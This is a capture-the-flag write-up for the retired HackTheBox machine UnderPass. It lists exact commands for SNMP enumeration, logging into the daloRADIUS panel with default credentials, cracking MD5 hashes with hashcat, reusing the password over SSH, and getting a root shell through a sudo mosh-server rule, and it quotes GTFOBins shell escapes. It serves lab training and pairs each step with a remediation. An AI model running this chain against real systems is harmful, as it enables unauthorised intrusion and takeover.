jperezduerto.info
UnderPass
Summary
I identified SNMP running openly on the internet with the default 'public' community string, which disclosed the hostname UnDerPass.htb and advertised the installed daloRADIUS application. The daloRADIUS operator web panel accepted its factory-default credentials unchanged, granting administrative control over the RADIUS server.
The user management screen exposed every RADIUS account's password stored as an unsalted MD5 hash; one hash was cracked offline in seconds, yielding the SSH password for the same account name on the host. Once inside as svcMosh, a passwordless sudo rule for mosh-server let me spawn a root-owned Mosh session and obtain an interactive root shell — full system compromise in four chained steps.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for svcMosh>"
export PASSWORD2="<the-password-you-recovered, for administrator>"
export HASH="<the-hash-you-recovered>"
export KEY="<the-key-you-recovered>"Attack path — how the box was taken
Exact commands 2
Confirm SNMP is open on UDP 161 and read the service banner.
$ nmap -sU -p 161 -sV --open $TARGETWalk the system MIB group with the 'public' community string; returns sysDescr, sysName, and sysContact strings that identify the host and application.
$ snmpwalk -v1 -c public $TARGET 1.3.6.1.2.1.1FixDisable SNMP or restrict it to management networks with a non-default community stringMedium
Exact commands 2
Register the SNMP-discovered hostname for virtual-host resolution.
$ echo "$TARGET underpass.htb" | sudo tee -a /etc/hostsA 200 response confirms the path is valid.
$ curl -s -o /dev/null -w '%{http_code}' http://$TARGET/daloradius/app/operators/login.phpExact commands 1
Authenticate with the daloRADIUS default credentials; -L follows the redirect to the dashboard. Saves the session cookie for subsequent requests.
$ curl -sik -c cookies.txt -X POST http://$TARGET/daloradius/app/operators/login.php --data "username=administrator&password=$PASSWORD2" -LFixChange daloRADIUS default operator credentials and restrict admin panel network accessCritical
Exact commands 2
Authenticated GET to dump the RADIUS user list, including plaintext-displayed password hashes.
$ curl -sb cookies.txt "http://$TARGET/daloradius/app/operators/mng-users-list.php"-m 0 selects raw MD5 mode. Replace rockyou.txt path with your local wordlist location.
$ echo "$HASH" > hash.txt && hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt --forceFixReplace unsalted MD5 password storage with a strong adaptive hashing algorithmHigh
Exact commands 1
Logs in with the cracked credentials and prints uid and the user flag (actual -> <user.txt>
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null svcMosh@$TARGET 'id; cat /home/svcMosh/user.txt'
uid=1002(svcMosh) gid=1002(svcMosh) groups=1002(svcMosh)Exact commands 4
List allowed sudo commands for svcMosh; expect a NOPASSWD entry for /usr/bin/mosh-server.
$ sudo -l
(ALL) NOPASSWD: /usr/bin/mosh-serverStart a root-owned Mosh server on port 60002; note the MOSH KEY printed to stdout.
$ sudo /usr/bin/mosh-server new -p 60002 -c 256 -s -l LANG=en_US.UTF-8Set the session key printed by mosh-server and connect; delivers an interactive shell running as root. Alternatively: script -qfec 'mosh-client 127.0.0.1 60002' /dev/null
$ export MOSH_KEY="$KEY" && mosh-client 127.0.0.1 60002Run inside the root Mosh session to confirm privilege and capture the root flag -> <root.txt>
$ id && cat /root/root.txtFixRemove the passwordless sudo rule granting unrestricted mosh-server executionCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.52 ((Ubuntu)) |
| 161/udp | snmp SNMPv1 server; net-snmp SNMPv3 server (public) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.